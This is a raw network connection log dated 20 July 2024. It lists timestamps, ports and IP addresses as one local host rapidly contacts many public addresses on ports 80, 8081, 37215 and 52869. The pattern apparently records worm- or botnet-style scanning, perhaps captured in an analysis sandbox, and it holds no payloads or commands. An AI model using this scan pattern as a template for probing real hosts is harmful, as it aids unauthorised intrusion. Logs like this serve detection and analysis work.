Jul 20, 2024 23:01:04.691643953 CEST	52468	80	192.168.2.14	88.124.204.196
Jul 20, 2024 23:01:04.691643953 CEST	52464	8081	192.168.2.14	206.55.198.219
Jul 20, 2024 23:01:04.692837000 CEST	8081	45428	196.239.25.39	192.168.2.14
Jul 20, 2024 23:01:04.694557905 CEST	55254	80	192.168.2.14	88.152.137.252
Jul 20, 2024 23:01:04.695655107 CEST	52869	55368	90.146.163.93	192.168.2.14
Jul 20, 2024 23:01:04.696062088 CEST	37215	42132	171.186.170.148	192.168.2.14
Jul 20, 2024 23:01:04.699292898 CEST	34322	8081	192.168.2.14	77.195.15.125
Jul 20, 2024 23:01:04.700081110 CEST	8081	55364	87.196.173.71	192.168.2.14
Jul 20, 2024 23:01:04.701410055 CEST	39342	37215	192.168.2.14	122.197.102.121
Jul 20, 2024 23:01:04.701920033 CEST	53528	37215	192.168.2.14	197.38.231.171
Jul 20, 2024 23:01:04.703612089 CEST	53742	80	192.168.2.14	88.155.76.113
Jul 20, 2024 23:01:04.703612089 CEST	57574	52869	192.168.2.14	222.151.202.253
Jul 20, 2024 23:01:04.705903053 CEST	80	55254	88.152.137.252	192.168.2.14
Jul 20, 2024 23:01:04.709569931 CEST	43886	80	192.168.2.14	88.155.140.166
Jul 20, 2024 23:01:04.711106062 CEST	55368	52869	192.168.2.14	90.146.163.93
Jul 20, 2024 23:01:04.712934017 CEST	53958	8081	192.168.2.14	168.84.36.47
Jul 20, 2024 23:01:04.728070021 CEST	55254	80	192.168.2.14	88.152.137.252
Jul 20, 2024 23:01:04.730259895 CEST	43714	52869	192.168.2.14	51.249.121.241
Jul 20, 2024 23:01:04.733305931 CEST	45428	8081	192.168.2.14	196.239.25.39
Jul 20, 2024 23:01:04.735989094 CEST	55364	8081	192.168.2.14	87.196.173.71
Jul 20, 2024 23:01:04.736131907 CEST	42132	37215	192.168.2.14	171.186.170.148
Jul 20, 2024 23:01:04.738010883 CEST	55434	37215	192.168.2.14	197.9.56.149
Jul 20, 2024 23:01:04.739398956 CEST	40048	8081	192.168.2.14	200.178.220.201
Jul 20, 2024 23:01:04.739646912 CEST	59230	80	192.168.2.14	88.46.157.145
Jul 20, 2024 23:01:04.740916967 CEST	56196	37215	192.168.2.14	197.160.79.126
Jul 20, 2024 23:01:04.741898060 CEST	46082	8081	192.168.2.14	76.137.1.53
Jul 20, 2024 23:01:04.744185925 CEST	51536	80	192.168.2.14	88.62.46.22
Jul 20, 2024 23:01:04.745184898 CEST	53284	37215	192.168.2.14	221.40.188.74
Jul 20, 2024 23:01:04.746162891 CEST	37215	55434	197.9.56.149	192.168.2.14
Jul 20, 2024 23:01:04.746306896 CEST	55434	37215	192.168.2.14	197.9.56.149
Jul 20, 2024 23:01:04.747313976 CEST	41580	8081	192.168.2.14	192.4.66.34
Jul 20, 2024 23:01:04.748111010 CEST	8081	40048	200.178.220.201	192.168.2.14
Jul 20, 2024 23:01:04.748168945 CEST	40048	8081	192.168.2.14	200.178.220.201
Jul 20, 2024 23:01:04.748696089 CEST	80	59230	88.46.157.145	192.168.2.14
Jul 20, 2024 23:01:04.748733997 CEST	59230	80	192.168.2.14	88.46.157.145
Jul 20, 2024 23:01:04.748830080 CEST	54668	37215	192.168.2.14	157.70.127.19
Jul 20, 2024 23:01:04.748991966 CEST	41080	80	192.168.2.14	88.164.95.47
Jul 20, 2024 23:01:04.749399900 CEST	50930	52869	192.168.2.14	35.112.217.187
Jul 20, 2024 23:01:04.750535011 CEST	37215	56196	197.160.79.126	192.168.2.14
Jul 20, 2024 23:01:04.750956059 CEST	52108	8081	192.168.2.14	204.29.155.209
Jul 20, 2024 23:01:04.750982046 CEST	8081	46082	76.137.1.53	192.168.2.14
Jul 20, 2024 23:01:04.751018047 CEST	56196	37215	192.168.2.14	197.160.79.126
Jul 20, 2024 23:01:04.751869917 CEST	46082	8081	192.168.2.14	76.137.1.53
Jul 20, 2024 23:01:04.753324986 CEST	80	51536	88.62.46.22	192.168.2.14
Jul 20, 2024 23:01:04.753431082 CEST	37215	53284	221.40.188.74	192.168.2.14
Jul 20, 2024 23:01:04.753468990 CEST	51536	80	192.168.2.14	88.62.46.22
Jul 20, 2024 23:01:04.753479004 CEST	53284	37215	192.168.2.14	221.40.188.74
Jul 20, 2024 23:01:04.754163027 CEST	8081	41580	192.4.66.34	192.168.2.14
Jul 20, 2024 23:01:04.754745007 CEST	37215	54668	157.70.127.19	192.168.2.14
Jul 20, 2024 23:01:04.754754066 CEST	80	41080	88.164.95.47	192.168.2.14
Jul 20, 2024 23:01:04.754849911 CEST	52869	50930	35.112.217.187	192.168.2.14
Jul 20, 2024 23:01:04.754868984 CEST	41080	80	192.168.2.14	88.164.95.47
Jul 20, 2024 23:01:04.754899025 CEST	41580	8081	192.168.2.14	192.4.66.34
Jul 20, 2024 23:01:04.754899025 CEST	54668	37215	192.168.2.14	157.70.127.19
Jul 20, 2024 23:01:04.754976988 CEST	38736	80	192.168.2.14	88.204.119.180
Jul 20, 2024 23:01:04.756714106 CEST	8081	52108	204.29.155.209	192.168.2.14
Jul 20, 2024 23:01:04.757025003 CEST	50930	52869	192.168.2.14	35.112.217.187
Jul 20, 2024 23:01:04.757025003 CEST	52108	8081	192.168.2.14	204.29.155.209
Jul 20, 2024 23:01:04.757127047 CEST	50520	37215	192.168.2.14	157.24.24.17
Jul 20, 2024 23:01:04.757826090 CEST	37215	55434	197.9.56.149	192.168.2.14
Jul 20, 2024 23:01:04.758861065 CEST	49518	8081	192.168.2.14	151.100.141.139
Jul 20, 2024 23:01:04.758861065 CEST	55434	37215	192.168.2.14	197.9.56.149
Jul 20, 2024 23:01:04.759341002 CEST	33168	37215	192.168.2.14	41.120.237.5
Jul 20, 2024 23:01:04.759916067 CEST	42128	52869	192.168.2.14	2.229.175.12
Jul 20, 2024 23:01:04.760301113 CEST	80	38736	88.204.119.180	192.168.2.14
Jul 20, 2024 23:01:04.760360956 CEST	38736	80	192.168.2.14	88.204.119.180
Jul 20, 2024 23:01:04.760771036 CEST	54802	80	192.168.2.14	88.194.157.168
Jul 20, 2024 23:01:04.760778904 CEST	8081	40048	200.178.220.201	192.168.2.14
Jul 20, 2024 23:01:04.761527061 CEST	80	59230	88.46.157.145	192.168.2.14
Jul 20, 2024 23:01:04.762160063 CEST	40048	8081	192.168.2.14	200.178.220.201
Jul 20, 2024 23:01:04.763119936 CEST	37215	56196	197.160.79.126	192.168.2.14
Jul 20, 2024 23:01:04.763294935 CEST	37215	50520	157.24.24.17	192.168.2.14
Jul 20, 2024 23:01:04.763341904 CEST	50520	37215	192.168.2.14	157.24.24.17
Jul 20, 2024 23:01:04.763490915 CEST	59230	80	192.168.2.14	88.46.157.145
Jul 20, 2024 23:01:04.763827085 CEST	41686	8081	192.168.2.14	124.175.87.112
Jul 20, 2024 23:01:04.765346050 CEST	8081	49518	151.100.141.139	192.168.2.14
Jul 20, 2024 23:01:04.765459061 CEST	52869	42128	2.229.175.12	192.168.2.14
Jul 20, 2024 23:01:04.765484095 CEST	49518	8081	192.168.2.14	151.100.141.139
Jul 20, 2024 23:01:04.765500069 CEST	42128	52869	192.168.2.14	2.229.175.12
Jul 20, 2024 23:01:04.765553951 CEST	37215	33168	41.120.237.5	192.168.2.14
Jul 20, 2024 23:01:04.765933037 CEST	8081	46082	76.137.1.53	192.168.2.14
Jul 20, 2024 23:01:04.765954018 CEST	80	54802	88.194.157.168	192.168.2.14
Jul 20, 2024 23:01:04.766001940 CEST	54802	80	192.168.2.14	88.194.157.168
Jul 20, 2024 23:01:04.766093016 CEST	40738	37215	192.168.2.14	157.139.36.46
Jul 20, 2024 23:01:04.766535044 CEST	46082	8081	192.168.2.14	76.137.1.53
Jul 20, 2024 23:01:04.766877890 CEST	34432	80	192.168.2.14	88.95.143.97
Jul 20, 2024 23:01:04.767371893 CEST	33168	37215	192.168.2.14	41.120.237.5
Jul 20, 2024 23:01:04.767371893 CEST	56196	37215	192.168.2.14	197.160.79.126
Jul 20, 2024 23:01:04.767549992 CEST	37436	8081	192.168.2.14	90.113.221.252
Jul 20, 2024 23:01:04.768908024 CEST	37215	53284	221.40.188.74	192.168.2.14
Jul 20, 2024 23:01:04.769326925 CEST	49462	52869	192.168.2.14	38.32.235.210
Jul 20, 2024 23:01:04.769752979 CEST	8081	41686	124.175.87.112	192.168.2.14
Jul 20, 2024 23:01:04.769783974 CEST	38800	37215	192.168.2.14	174.109.179.10
Jul 20, 2024 23:01:04.770791054 CEST	41686	8081	192.168.2.14	124.175.87.112
Jul 20, 2024 23:01:04.771404028 CEST	49826	8081	192.168.2.14	150.126.245.222
Jul 20, 2024 23:01:04.771783113 CEST	53284	37215	192.168.2.14	221.40.188.74
Jul 20, 2024 23:01:04.771821976 CEST	37215	40738	157.139.36.46	192.168.2.14
Jul 20, 2024 23:01:04.771866083 CEST	40738	37215	192.168.2.14	157.139.36.46
Jul 20, 2024 23:01:04.771882057 CEST	45102	80	192.168.2.14	88.100.30.180
Jul 20, 2024 23:01:04.772254944 CEST	80	34432	88.95.143.97	192.168.2.14
Jul 20, 2024 23:01:04.773247004 CEST	8081	37436	90.113.221.252	192.168.2.14
Jul 20, 2024 23:01:04.773288012 CEST	37436	8081	192.168.2.14	90.113.221.252
Jul 20, 2024 23:01:04.774077892 CEST	34432	80	192.168.2.14	88.95.143.97
Jul 20, 2024 23:01:04.774537086 CEST	52869	49462	38.32.235.210	192.168.2.14
Jul 20, 2024 23:01:04.775129080 CEST	37215	38800	174.109.179.10	192.168.2.14
Jul 20, 2024 23:01:04.775444031 CEST	38800	37215	192.168.2.14	174.109.179.10
Jul 20, 2024 23:01:04.775639057 CEST	49462	52869	192.168.2.14	38.32.235.210
Jul 20, 2024 23:01:04.776057005 CEST	80	51536	88.62.46.22	192.168.2.14
Jul 20, 2024 23:01:04.776582003 CEST	38372	37215	192.168.2.14	157.150.55.229
Jul 20, 2024 23:01:04.776593924 CEST	8081	49826	150.126.245.222	192.168.2.14
Jul 20, 2024 23:01:04.776638985 CEST	49826	8081	192.168.2.14	150.126.245.222
Jul 20, 2024 23:01:04.777168989 CEST	80	45102	88.100.30.180	192.168.2.14
Jul 20, 2024 23:01:04.777770042 CEST	45102	80	192.168.2.14	88.100.30.180
Jul 20, 2024 23:01:04.778162003 CEST	51536	80	192.168.2.14	88.62.46.22
Jul 20, 2024 23:01:04.778681040 CEST	57900	8081	192.168.2.14	210.208.35.11
Jul 20, 2024 23:01:04.778878927 CEST	45560	80	192.168.2.14	88.155.254.154
Jul 20, 2024 23:01:04.779382944 CEST	8081	41580	192.4.66.34	192.168.2.14
Jul 20, 2024 23:01:04.780211926 CEST	47282	37215	192.168.2.14	175.136.209.167
Jul 20, 2024 23:01:04.780421019 CEST	37215	54668	157.70.127.19	192.168.2.14
Jul 20, 2024 23:01:04.781013966 CEST	46188	52869	192.168.2.14	36.198.164.211
Jul 20, 2024 23:01:04.781796932 CEST	49318	8081	192.168.2.14	168.238.100.205
Jul 20, 2024 23:01:04.782361031 CEST	54668	37215	192.168.2.14	157.70.127.19
Jul 20, 2024 23:01:04.782361031 CEST	41580	8081	192.168.2.14	192.4.66.34
Jul 20, 2024 23:01:04.782522917 CEST	37215	38372	157.150.55.229	192.168.2.14
Jul 20, 2024 23:01:04.783282995 CEST	38372	37215	192.168.2.14	157.150.55.229
Jul 20, 2024 23:01:04.783400059 CEST	39836	80	192.168.2.14	88.178.180.239
Jul 20, 2024 23:01:04.783889055 CEST	8081	57900	210.208.35.11	192.168.2.14
Jul 20, 2024 23:01:04.783930063 CEST	57900	8081	192.168.2.14	210.208.35.11
Jul 20, 2024 23:01:04.784045935 CEST	80	45560	88.155.254.154	192.168.2.14
Jul 20, 2024 23:01:04.784085989 CEST	45560	80	192.168.2.14	88.155.254.154
Jul 20, 2024 23:01:04.785582066 CEST	38858	37215	192.168.2.14	157.73.176.224
Jul 20, 2024 23:01:04.785852909 CEST	37215	47282	175.136.209.167	192.168.2.14
Jul 20, 2024 23:01:04.785892963 CEST	47282	37215	192.168.2.14	175.136.209.167
Jul 20, 2024 23:01:04.785929918 CEST	55720	52869	192.168.2.14	82.116.127.119
Jul 20, 2024 23:01:04.786462069 CEST	52869	46188	36.198.164.211	192.168.2.14
Jul 20, 2024 23:01:04.786503077 CEST	46188	52869	192.168.2.14	36.198.164.211
Jul 20, 2024 23:01:04.787034035 CEST	80	41080	88.164.95.47	192.168.2.14
Jul 20, 2024 23:01:04.787048101 CEST	8081	49318	168.238.100.205	192.168.2.14
Jul 20, 2024 23:01:04.787132025 CEST	49318	8081	192.168.2.14	168.238.100.205
Jul 20, 2024 23:01:04.787700891 CEST	51052	8081	192.168.2.14	223.6.214.55
Jul 20, 2024 23:01:04.787868977 CEST	52869	50930	35.112.217.187	192.168.2.14
Jul 20, 2024 23:01:04.790127039 CEST	80	39836	88.178.180.239	192.168.2.14
Jul 20, 2024 23:01:04.790550947 CEST	37215	38858	157.73.176.224	192.168.2.14
Jul 20, 2024 23:01:04.790868998 CEST	39836	80	192.168.2.14	88.178.180.239
Jul 20, 2024 23:01:04.790913105 CEST	52869	55720	82.116.127.119	192.168.2.14
Jul 20, 2024 23:01:04.791100979 CEST	38858	37215	192.168.2.14	157.73.176.224
Jul 20, 2024 23:01:04.792845964 CEST	8081	51052	223.6.214.55	192.168.2.14
Jul 20, 2024 23:01:04.793230057 CEST	55720	52869	192.168.2.14	82.116.127.119
Jul 20, 2024 23:01:04.793533087 CEST	51052	8081	192.168.2.14	223.6.214.55
Jul 20, 2024 23:01:04.793550014 CEST	8081	52108	204.29.155.209	192.168.2.14
Jul 20, 2024 23:01:04.795386076 CEST	50930	52869	192.168.2.14	35.112.217.187
Jul 20, 2024 23:01:04.795386076 CEST	41080	80	192.168.2.14	88.164.95.47
Jul 20, 2024 23:01:04.795386076 CEST	52108	8081	192.168.2.14	204.29.155.209
Jul 20, 2024 23:01:04.796037912 CEST	44506	80	192.168.2.14	88.84.45.147
Jul 20, 2024 23:01:04.797148943 CEST	80	38736	88.204.119.180	192.168.2.14
Jul 20, 2024 23:01:04.797699928 CEST	40428	37215	192.168.2.14	197.123.215.194
Jul 20, 2024 23:01:04.797914028 CEST	46686	52869	192.168.2.14	126.63.129.65
Jul 20, 2024 23:01:04.798146009 CEST	38736	80	192.168.2.14	88.204.119.180
Jul 20, 2024 23:01:04.798348904 CEST	49280	8081	192.168.2.14	62.66.147.200
Jul 20, 2024 23:01:04.801024914 CEST	37215	50520	157.24.24.17	192.168.2.14
Jul 20, 2024 23:01:04.801399946 CEST	80	44506	88.84.45.147	192.168.2.14
Jul 20, 2024 23:01:04.801505089 CEST	43174	80	192.168.2.14	88.185.96.250
Jul 20, 2024 23:01:04.801811934 CEST	44506	80	192.168.2.14	88.84.45.147
Jul 20, 2024 23:01:04.802155972 CEST	50520	37215	192.168.2.14	157.24.24.17
Jul 20, 2024 23:01:04.802212000 CEST	52869	42128	2.229.175.12	192.168.2.14
Jul 20, 2024 23:01:04.802340984 CEST	45310	37215	192.168.2.14	211.150.3.47
Jul 20, 2024 23:01:04.803136110 CEST	37215	40428	197.123.215.194	192.168.2.14
Jul 20, 2024 23:01:04.803179026 CEST	52869	46686	126.63.129.65	192.168.2.14
Jul 20, 2024 23:01:04.803215981 CEST	46686	52869	192.168.2.14	126.63.129.65
Jul 20, 2024 23:01:04.803546906 CEST	54450	52869	192.168.2.14	209.180.225.131
Jul 20, 2024 23:01:04.803594112 CEST	80	54802	88.194.157.168	192.168.2.14
Jul 20, 2024 23:01:04.803749084 CEST	8081	49280	62.66.147.200	192.168.2.14
Jul 20, 2024 23:01:04.803787947 CEST	49280	8081	192.168.2.14	62.66.147.200
Jul 20, 2024 23:01:04.803884029 CEST	40428	37215	192.168.2.14	197.123.215.194
Jul 20, 2024 23:01:04.805064917 CEST	8081	49518	151.100.141.139	192.168.2.14
Jul 20, 2024 23:01:04.805207014 CEST	44854	8081	192.168.2.14	48.64.83.44
Jul 20, 2024 23:01:04.807156086 CEST	54802	80	192.168.2.14	88.194.157.168
Jul 20, 2024 23:01:04.807156086 CEST	42128	52869	192.168.2.14	2.229.175.12
Jul 20, 2024 23:01:04.807527065 CEST	80	43174	88.185.96.250	192.168.2.14
Jul 20, 2024 23:01:04.807550907 CEST	37215	33168	41.120.237.5	192.168.2.14
Jul 20, 2024 23:01:04.808885098 CEST	52869	54450	209.180.225.131	192.168.2.14
Jul 20, 2024 23:01:04.808897972 CEST	8081	41686	124.175.87.112	192.168.2.14
Jul 20, 2024 23:01:04.809128046 CEST	37215	45310	211.150.3.47	192.168.2.14
Jul 20, 2024 23:01:04.810352087 CEST	37215	40738	157.139.36.46	192.168.2.14
Jul 20, 2024 23:01:04.810425997 CEST	8081	44854	48.64.83.44	192.168.2.14
Jul 20, 2024 23:01:04.811008930 CEST	49518	8081	192.168.2.14	151.100.141.139
Jul 20, 2024 23:01:04.813494921 CEST	8081	37436	90.113.221.252	192.168.2.14
Jul 20, 2024 23:01:04.817323923 CEST	80	34432	88.95.143.97	192.168.2.14
Jul 20, 2024 23:01:04.818878889 CEST	43174	80	192.168.2.14	88.185.96.250
Jul 20, 2024 23:01:04.824357033 CEST	37215	38800	174.109.179.10	192.168.2.14
Jul 20, 2024 23:01:04.825829983 CEST	52869	49462	38.32.235.210	192.168.2.14
Jul 20, 2024 23:01:04.825972080 CEST	54450	52869	192.168.2.14	209.180.225.131
Jul 20, 2024 23:01:04.827826023 CEST	8081	49826	150.126.245.222	192.168.2.14
Jul 20, 2024 23:01:04.829726934 CEST	80	45102	88.100.30.180	192.168.2.14
Jul 20, 2024 23:01:04.834714890 CEST	33168	37215	192.168.2.14	41.120.237.5
Jul 20, 2024 23:01:04.835119009 CEST	37215	38372	157.150.55.229	192.168.2.14
Jul 20, 2024 23:01:04.836154938 CEST	8081	57900	210.208.35.11	192.168.2.14
Jul 20, 2024 23:01:04.837241888 CEST	80	45560	88.155.254.154	192.168.2.14
Jul 20, 2024 23:01:04.840121984 CEST	37215	47282	175.136.209.167	192.168.2.14
Jul 20, 2024 23:01:04.840220928 CEST	52869	46188	36.198.164.211	192.168.2.14
Jul 20, 2024 23:01:04.840233088 CEST	8081	49318	168.238.100.205	192.168.2.14
Jul 20, 2024 23:01:04.841942072 CEST	37215	38858	157.73.176.224	192.168.2.14
Jul 20, 2024 23:01:04.843683004 CEST	80	39836	88.178.180.239	192.168.2.14
Jul 20, 2024 23:01:04.844048023 CEST	52869	55720	82.116.127.119	192.168.2.14
Jul 20, 2024 23:01:04.845480919 CEST	8081	51052	223.6.214.55	192.168.2.14
Jul 20, 2024 23:01:04.848563910 CEST	80	44506	88.84.45.147	192.168.2.14
Jul 20, 2024 23:01:04.848908901 CEST	52869	46686	126.63.129.65	192.168.2.14
Jul 20, 2024 23:01:04.849765062 CEST	37215	40428	197.123.215.194	192.168.2.14
Jul 20, 2024 23:01:04.854404926 CEST	80	43174	88.185.96.250	192.168.2.14
Jul 20, 2024 23:01:04.855331898 CEST	52869	54450	209.180.225.131	192.168.2.14
Jul 20, 2024 23:01:04.857125044 CEST	45310	37215	192.168.2.14	211.150.3.47
Jul 20, 2024 23:01:04.867861986 CEST	40738	37215	192.168.2.14	157.139.36.46
Jul 20, 2024 23:01:04.879136086 CEST	41686	8081	192.168.2.14	124.175.87.112
Jul 20, 2024 23:01:04.879136086 CEST	44854	8081	192.168.2.14	48.64.83.44
Jul 20, 2024 23:01:04.896188974 CEST	38372	37215	192.168.2.14	157.150.55.229
Jul 20, 2024 23:01:04.896188974 CEST	38858	37215	192.168.2.14	157.73.176.224
Jul 20, 2024 23:01:04.896188974 CEST	47282	37215	192.168.2.14	175.136.209.167
Jul 20, 2024 23:01:04.900816917 CEST	49462	52869	192.168.2.14	38.32.235.210
Jul 20, 2024 23:01:04.904027939 CEST	8081	44854	48.64.83.44	192.168.2.14
Jul 20, 2024 23:01:04.914346933 CEST	57900	8081	192.168.2.14	210.208.35.11
Jul 20, 2024 23:01:04.918464899 CEST	37436	8081	192.168.2.14	90.113.221.252
Jul 20, 2024 23:01:04.921988964 CEST	49318	8081	192.168.2.14	168.238.100.205
Jul 20, 2024 23:01:04.923355103 CEST	55720	52869	192.168.2.14	82.116.127.119
Jul 20, 2024 23:01:04.923355103 CEST	39836	80	192.168.2.14	88.178.180.239
Jul 20, 2024 23:01:04.927516937 CEST	46188	52869	192.168.2.14	36.198.164.211
Jul 20, 2024 23:01:04.929721117 CEST	44506	80	192.168.2.14	88.84.45.147
Jul 20, 2024 23:01:04.940443039 CEST	37796	80	192.168.2.14	88.83.47.117
Jul 20, 2024 23:01:04.941371918 CEST	32944	8081	192.168.2.14	221.34.154.226
Jul 20, 2024 23:01:04.941859007 CEST	45434	52869	192.168.2.14	190.120.169.109
Jul 20, 2024 23:01:04.942915916 CEST	54450	52869	192.168.2.14	209.180.225.131
Jul 20, 2024 23:01:04.944526911 CEST	52106	80	192.168.2.14	88.0.57.123
Jul 20, 2024 23:01:04.944722891 CEST	34432	80	192.168.2.14	88.95.143.97
Jul 20, 2024 23:01:04.945241928 CEST	43704	8081	192.168.2.14	43.201.212.144
Jul 20, 2024 23:01:04.945492029 CEST	80	37796	88.83.47.117	192.168.2.14
Jul 20, 2024 23:01:04.945534945 CEST	37796	80	192.168.2.14	88.83.47.117
Jul 20, 2024 23:01:04.946587086 CEST	8081	32944	221.34.154.226	192.168.2.14
Jul 20, 2024 23:01:04.946626902 CEST	32944	8081	192.168.2.14	221.34.154.226
Jul 20, 2024 23:01:04.946880102 CEST	52869	45434	190.120.169.109	192.168.2.14
Jul 20, 2024 23:01:04.947468996 CEST	45434	52869	192.168.2.14	190.120.169.109
Jul 20, 2024 23:01:04.949235916 CEST	38800	37215	192.168.2.14	174.109.179.10
Jul 20, 2024 23:01:04.949235916 CEST	49826	8081	192.168.2.14	150.126.245.222
Jul 20, 2024 23:01:04.949330091 CEST	58326	52869	192.168.2.14	149.3.41.152
Jul 20, 2024 23:01:04.949486017 CEST	80	52106	88.0.57.123	192.168.2.14
Jul 20, 2024 23:01:04.949517012 CEST	52106	80	192.168.2.14	88.0.57.123
Jul 20, 2024 23:01:04.950355053 CEST	8081	43704	43.201.212.144	192.168.2.14
Jul 20, 2024 23:01:04.950812101 CEST	43704	8081	192.168.2.14	43.201.212.144
Jul 20, 2024 23:01:04.951278925 CEST	45102	80	192.168.2.14	88.100.30.180
Jul 20, 2024 23:01:04.954229116 CEST	52869	45434	190.120.169.109	192.168.2.14
Jul 20, 2024 23:01:04.954303980 CEST	52869	58326	149.3.41.152	192.168.2.14
Jul 20, 2024 23:01:04.954343081 CEST	58326	52869	192.168.2.14	149.3.41.152
Jul 20, 2024 23:01:04.957376003 CEST	40884	8081	192.168.2.14	131.2.150.33
Jul 20, 2024 23:01:04.958381891 CEST	45434	52869	192.168.2.14	190.120.169.109
Jul 20, 2024 23:01:04.959640026 CEST	80	52106	88.0.57.123	192.168.2.14
Jul 20, 2024 23:01:04.960733891 CEST	51650	8081	192.168.2.14	166.110.126.109
Jul 20, 2024 23:01:04.961536884 CEST	52869	58326	149.3.41.152	192.168.2.14
Jul 20, 2024 23:01:04.961769104 CEST	8081	43704	43.201.212.144	192.168.2.14
Jul 20, 2024 23:01:04.962282896 CEST	43704	8081	192.168.2.14	43.201.212.144
Jul 20, 2024 23:01:04.962353945 CEST	8081	40884	131.2.150.33	192.168.2.14
Jul 20, 2024 23:01:04.962390900 CEST	40884	8081	192.168.2.14	131.2.150.33
Jul 20, 2024 23:01:04.962486029 CEST	58326	52869	192.168.2.14	149.3.41.152
Jul 20, 2024 23:01:04.962486029 CEST	52106	80	192.168.2.14	88.0.57.123
Jul 20, 2024 23:01:04.965186119 CEST	50256	8081	192.168.2.14	93.78.244.21
Jul 20, 2024 23:01:04.965295076 CEST	39950	37215	192.168.2.14	197.188.141.9
Jul 20, 2024 23:01:04.966052055 CEST	40428	37215	192.168.2.14	197.123.215.194
Jul 20, 2024 23:01:04.966121912 CEST	8081	51650	166.110.126.109	192.168.2.14
Jul 20, 2024 23:01:04.966222048 CEST	45560	80	192.168.2.14	88.155.254.154
Jul 20, 2024 23:01:04.967036009 CEST	57768	37215	192.168.2.14	41.203.149.103
Jul 20, 2024 23:01:04.967036009 CEST	49206	37215	192.168.2.14	41.93.226.90
Jul 20, 2024 23:01:04.967036963 CEST	38882	37215	192.168.2.14	197.41.90.82
Jul 20, 2024 23:01:04.968280077 CEST	51650	8081	192.168.2.14	166.110.126.109
Jul 20, 2024 23:01:04.968837023 CEST	47722	37215	192.168.2.14	157.193.7.72
Jul 20, 2024 23:01:04.969634056 CEST	60856	37215	192.168.2.14	80.185.13.173
Jul 20, 2024 23:01:04.970130920 CEST	51189	80	192.168.2.14	88.116.57.194
Jul 20, 2024 23:01:04.970191956 CEST	8081	50256	93.78.244.21	192.168.2.14
Jul 20, 2024 23:01:04.970201969 CEST	51189	80	192.168.2.14	88.21.56.118
Jul 20, 2024 23:01:04.970218897 CEST	51189	80	192.168.2.14	88.87.120.235
Jul 20, 2024 23:01:04.970222950 CEST	50256	8081	192.168.2.14	93.78.244.21
Jul 20, 2024 23:01:04.970434904 CEST	51189	80	192.168.2.14	88.18.80.225
Jul 20, 2024 23:01:04.970438004 CEST	51189	80	192.168.2.14	88.255.189.152
Jul 20, 2024 23:01:04.970479965 CEST	37215	39950	197.188.141.9	192.168.2.14
Jul 20, 2024 23:01:04.970523119 CEST	39950	37215	192.168.2.14	197.188.141.9
Jul 20, 2024 23:01:04.970523119 CEST	51189	80	192.168.2.14	88.230.110.22
Jul 20, 2024 23:01:04.970581055 CEST	51189	80	192.168.2.14	88.89.100.183
Jul 20, 2024 23:01:04.970663071 CEST	51189	80	192.168.2.14	88.106.94.39
Jul 20, 2024 23:01:04.970663071 CEST	51189	80	192.168.2.14	88.80.79.46
Jul 20, 2024 23:01:04.970663071 CEST	51189	80	192.168.2.14	88.253.195.191
Jul 20, 2024 23:01:04.970663071 CEST	51189	80	192.168.2.14	88.179.180.160
Jul 20, 2024 23:01:04.970705032 CEST	51189	80	192.168.2.14	88.138.106.242
Jul 20, 2024 23:01:04.970873117 CEST	51189	80	192.168.2.14	88.82.61.26
Jul 20, 2024 23:01:04.970873117 CEST	51189	80	192.168.2.14	88.148.194.224
Jul 20, 2024 23:01:04.970904112 CEST	51189	80	192.168.2.14	88.53.45.90
Jul 20, 2024 23:01:04.970943928 CEST	8081	40884	131.2.150.33	192.168.2.14
Jul 20, 2024 23:01:04.970959902 CEST	51189	80	192.168.2.14	88.216.142.159
Jul 20, 2024 23:01:04.970959902 CEST	51189	80	192.168.2.14	88.107.102.78
Jul 20, 2024 23:01:04.970959902 CEST	51189	80	192.168.2.14	88.113.78.214
Jul 20, 2024 23:01:04.970959902 CEST	51189	80	192.168.2.14	88.98.238.218
Jul 20, 2024 23:01:04.971172094 CEST	51189	80	192.168.2.14	88.222.20.238
Jul 20, 2024 23:01:04.971172094 CEST	51189	80	192.168.2.14	88.62.78.39
Jul 20, 2024 23:01:04.971173048 CEST	51189	80	192.168.2.14	88.104.109.218
Jul 20, 2024 23:01:04.971173048 CEST	51189	80	192.168.2.14	88.114.196.190
Jul 20, 2024 23:01:04.971385002 CEST	51189	80	192.168.2.14	88.163.8.185
Jul 20, 2024 23:01:04.971435070 CEST	51189	80	192.168.2.14	88.194.209.109
Jul 20, 2024 23:01:04.971435070 CEST	51189	80	192.168.2.14	88.47.230.33
Jul 20, 2024 23:01:04.971630096 CEST	51189	80	192.168.2.14	88.67.242.156
Jul 20, 2024 23:01:04.971949100 CEST	51189	80	192.168.2.14	88.164.119.71
Jul 20, 2024 23:01:04.971949100 CEST	51189	80	192.168.2.14	88.78.103.109
Jul 20, 2024 23:01:04.971949100 CEST	51189	80	192.168.2.14	88.214.117.94
Jul 20, 2024 23:01:04.971949100 CEST	51189	80	192.168.2.14	88.79.58.153
Jul 20, 2024 23:01:04.971949100 CEST	51189	80	192.168.2.14	88.254.146.112
Jul 20, 2024 23:01:04.972033024 CEST	51189	80	192.168.2.14	88.123.158.53
Jul 20, 2024 23:01:04.972033024 CEST	51189	80	192.168.2.14	88.204.45.244
Jul 20, 2024 23:01:04.972033978 CEST	51189	80	192.168.2.14	88.89.163.67
Jul 20, 2024 23:01:04.972033978 CEST	51189	80	192.168.2.14	88.78.199.78
Jul 20, 2024 23:01:04.972033978 CEST	51189	80	192.168.2.14	88.13.200.87
Jul 20, 2024 23:01:04.972033978 CEST	51189	80	192.168.2.14	88.234.62.213
Jul 20, 2024 23:01:04.972033978 CEST	51189	80	192.168.2.14	88.204.250.120
Jul 20, 2024 23:01:04.972043037 CEST	51189	80	192.168.2.14	88.89.21.154
Jul 20, 2024 23:01:04.972049952 CEST	43174	80	192.168.2.14	88.185.96.250
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.10.40.129
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.60.193.177
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.142.94.124
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.141.2.100
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.84.209.225
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.70.103.249
Jul 20, 2024 23:01:04.972356081 CEST	51189	80	192.168.2.14	88.29.251.255
Jul 20, 2024 23:01:04.972410917 CEST	51189	80	192.168.2.14	88.227.132.28
Jul 20, 2024 23:01:04.972635984 CEST	51189	80	192.168.2.14	88.125.81.31
Jul 20, 2024 23:01:04.972796917 CEST	51189	80	192.168.2.14	88.32.176.121
